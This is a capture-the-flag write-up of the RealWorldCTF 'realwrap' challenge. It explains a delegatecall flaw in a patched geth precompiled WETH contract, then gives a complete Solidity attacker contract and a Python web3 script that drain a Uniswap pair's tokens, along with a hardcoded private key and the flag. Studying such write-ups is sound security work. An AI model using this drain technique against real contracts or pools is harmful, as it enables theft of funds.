I thought RealWorldCTF was difficult, but it was such a good experience to solve one challenge.
I found a way to expoit, but I didn't know how to use web3 so I had a hard time.
readme
WETH on Ethereum is too cumbersome! I'll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE!
nc 47.254.91.104 20000
faucet: http://47.254.91.104:8080
RPC(geth v1.10.26 with realwrap patch): http://47.254.91.104:8545
https://github.com/chaitin/Real-World-CTF-5th-Challenges/tree/main/realwrap
Root Cause
https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE
geth_v1.10.26_precompiled.diff
ETH can work like WETH by using a precompiled contract.
It's possible to confirm if the functions work by calling them to the WETH address.
+var (
+ functions = map[string]RunStatefulPrecompileFunc{
+ calculateFunctionSelector("name()"): metadata("name"),
+ calculateFunctionSelector("symbol()"): metadata("symbol"),
+ calculateFunctionSelector("decimals()"): metadata("decimals"),
+ calculateFunctionSelector("balanceOf(address)"): balanceOf,
+ calculateFunctionSelector("transfer(address,uint256)"): transfer,
+ calculateFunctionSelector("transferAndCall(address,uint256,bytes)"): transferAndCall,
+ calculateFunctionSelector("allowance(address,address)"): allowance,
+ calculateFunctionSelector("approve(address,uint256)"): approve,
+ calculateFunctionSelector("transferFrom(address,address,uint256)"): transferFrom,
+ }
+ realWrappedEtherAddr = common.HexToAddress("0x0000000000000000000000000000000000004eA1")
If you look at the implementation of the functions, you will find that there is a problem in calculating the storage location.
+func approve(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+ if evm.interpreter.readOnly {
+ return nil, suppliedGas, ErrWriteProtection
+ }
+ inputArgs := &ApproveInput{}
+ if err = unpackInputIntoInterface(inputArgs, "approve", input); err != nil {
+ return nil, suppliedGas, err
+ }
+
+ return approveInternal(evm, suppliedGas, caller, inputArgs.Spender, inputArgs.Amount)
+}
+func approveInternal(evm *EVM, suppliedGas uint64, owner, spender common.Address, value *big.Int) (ret []byte, remainingGas uint64, err error) {
+ if remainingGas, err = deductGas(suppliedGas, params.Keccak256Gas*2); err != nil {
+ return nil, 0, err
+ }
+ loc := calculateAllowancesStorageSlot(owner, spender)
+
+ if remainingGas, err = deductGas(suppliedGas, params.SstoreSetGas); err != nil {
+ return nil, 0, err
+ }
+
+ evm.StateDB.SetState(realWrappedEtherAddr, loc, common.BigToHash(value))
+ return math.PaddedBigBytes(common.Big1, common.HashLength), remainingGas, nil
+}
approve(owner, spender, amount) call approveInternal(owner, spender, amount).
approveInternal() has following code to execute allowance[owner][spedner] = amount.
loc := calculateAllowancesStorageSlot(owner, spender)
In ERC20 token..
If the approve function is called by delegatecall, the caller's context remains unchanged, so the caller can not access the allowance.
But precompiled contract does not check that is it staticcall or delegatecall?
=> approve(WETH, me, infinity)
I got the infinity allowance of anyone by uniswap pair →(call) uniswapV2Call →(delegatecall) precompiled
Next, transferAndCall(to, amount, data) function can make call(data)
+func transferAndCall(evm *EVM, caller common.Address, input []byte, suppliedGas uint64, readOnly bool) (ret []byte, remainingGas uint64, err error) {
+ if readOnly {
+ return nil, suppliedGas, ErrWriteProtection
+ }
+ inputArgs := &TransferAndCallInput{}
+ if err = unpackInputIntoInterface(inputArgs, "transferAndCall", input); err != nil {
+ return nil, suppliedGas, err
+ }
+
+ if ret, remainingGas, err = transferInternal(evm, suppliedGas, caller, inputArgs.To, inputArgs.Amount); err != nil {
+ return ret, remainingGas, err
+ }
+
+ code := evm.StateDB.GetCode(inputArgs.To)
+ if len(code) == 0 {
+ return ret, remainingGas, nil
+ }
+
+ snapshot := evm.StateDB.Snapshot()
+ evm.depth++
+ defer func() { evm.depth-- }()
+
+ if ret, remainingGas, err = evm.Call(AccountRef(caller), inputArgs.To, inputArgs.Data, remainingGas, common.Big0); err != nil {
+ evm.StateDB.RevertToSnapshot(snapshot)
+ if err != ErrExecutionReverted {
+ remainingGas = 0
+ }
+ }
+
+ return ret, remainingGas, err
+}
My call context(msg.sender) is setted uniswap pair in simple Token. => approve(uniswap pair, me, infinity)
I got all of simple token that uniswap pair has
by uniswap pair →(call) uniswapV2Call →(delegatecall) precompiled →(evm.Call) simpleToken
Exploit
contract Attacker{
address WETH = 0x0000000000000000000000000000000000004eA1;
address my = 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3;
address pair = 0x329c2258ff58a97f808571c20628fAa19E6Ca1Ed;
address token1 = 0x540E136cBeDf274aa65FFb1A5De5454Bbb56EFd1;
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
(bool succc, ) = WETH.delegatecall(abi.encodeWithSignature("approve(address,uint256)", my, 100 ether));
require(succc == true, "?");
(bool succcc, ) = WETH.delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", token1, 0.1 ether, abi.encodeWithSignature("approve(address,uint256)", my, 100 ether)));
require(succc == true, "?");
}
}
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("http://47.254.91.104:8545"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0x126ed23464f5f3f03352fa6cad4731712fc896162711f9a1e04e7d982a6d7635'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3
myAddr = "0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3"
def transfer(erc20, to: str, amount: int):
f = open('erc20_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=erc20, abi=abi)
func_call = contract.functions["transfer"](to, amount).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def swap(pair, out1:int, out2:int, to:str):
f = open('pair_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=pair, abi=abi)
func_call = contract.functions["swap"](out1, out2, to, b"1"*32).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def transferFrom(_token: str, _from: str, _to: str, _amount: int):
f = open('erc20_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=_token, abi=abi)
func_call = contract.functions["transferFrom"](_from, _to, _amount).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def approve():
WETH = "0x0000000000000000000000000000000000004eA1"
pair = "0xcd2b747e7f620224274Eb9BfC8669D8C2CAF914d"
token1 = "0xd80A0eFdC40C532C5506623F1786a1a8F557f51a"
f = open('erc20_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=token1, abi=abi)
func_call = contract.functions["approve"](pair, 10**18).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def createAttack():
f = open("attack_abi", "r")
erc20_abi= f.read()
f.close()
f = open("attack_bytecode", "r")
erc20_bytecode= f.read()
f.close()
simpleToken = w3.eth.contract(abi=erc20_abi, bytecode=erc20_bytecode)
transaction = simpleToken.constructor().buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
def sync(_pair):
f = open('pair_abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=_pair, abi=abi)
func_call = contract.functions["sync"]().buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
WETH = "0x0000000000000000000000000000000000004eA1"
FACTORY = "0xd179bc7A30de61485665Bd5ebC628B9bCC4FFf94"
PAIR = "0x329c2258ff58a97f808571c20628fAa19E6Ca1Ed"
SIMPLETOKEN = "0x540E136cBeDf274aa65FFb1A5De5454Bbb56EFd1"
ATTACK = "0x94F5e5619DEFfEB06fc6a4Da4b494fd3bA62E0b7"
createAttack()
ATTACK = input("attacker contract address: ")
transfer(WETH, PAIR, int(0.4 * 10**18))
swap(PAIR, 0, 50, ATTACK)
transferFrom(SIMPLETOKEN, PAIR, myAddr, 100 * 10 ** 18 - 50)
transferFrom(WETH, PAIR, myAddr, int(1.4 * 10**18))
sync(PAIR)
rwctf{pREcOmpilEd_m4st3r_5TolE_mY_M0ney}
'writeups' 카테고리의 다른 글
PBCTF 2023 - rev(move VM) (0) | 2023.02.20 |
---|---|
Idek CTF 2023 pwn - (baby blockchain 1,2,3) (0) | 2023.02.19 |
HackTM CTF Quals 2023 - smart contract(Dragon Slayer, Diamond Heist) (0) | 2023.02.19 |
LA CTF 2023 - pwn(breakup, evmvm, sailor) (0) | 2023.02.13 |
DiceCTF 2023 - pwn(Baby-Solana, OtterWorld) (0) | 2023.02.07 |